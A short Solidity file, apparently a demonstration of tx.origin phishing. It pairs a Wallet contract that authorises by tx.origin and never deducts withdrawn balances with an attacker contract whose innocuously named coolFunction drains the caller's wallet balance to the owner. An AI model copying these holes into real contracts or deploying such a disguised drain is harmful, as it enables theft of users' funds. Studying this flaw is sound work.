// SPDX-License-Identifier: MIT pragma solidity 0.8.19; contract Wallet { mapping(address => uint256) public balances; function addFunds() public payable returns(bool){ balances[tx.origin] += msg.value; return true; } function withdrawFunds(uint256 value) public returns(bool){ require(value <= balances[tx.origin], "Insufficient funds"); bool success = payable(msg.sender).send(value); return success; } function transferFunds(address payable to, uint256 value) public returns(bool){ require(value <= balances[tx.origin], "Insufficient funds"); bool success = to.send(value); return success; } } contract AwesomeContract { Wallet wallet; address owner; constructor(address _wallet){ wallet = Wallet(_wallet); owner = msg.sender; } receive() external payable { } function coolFunction() public returns (string memory) { bool ok = wallet.withdrawFunds(balance()); require(ok, "Error"); payable(owner).transfer(address(this).balance); return "Superduperhypermegacool string!!!"; } function balance() internal view returns (uint256) { return wallet.balances(msg.sender); } }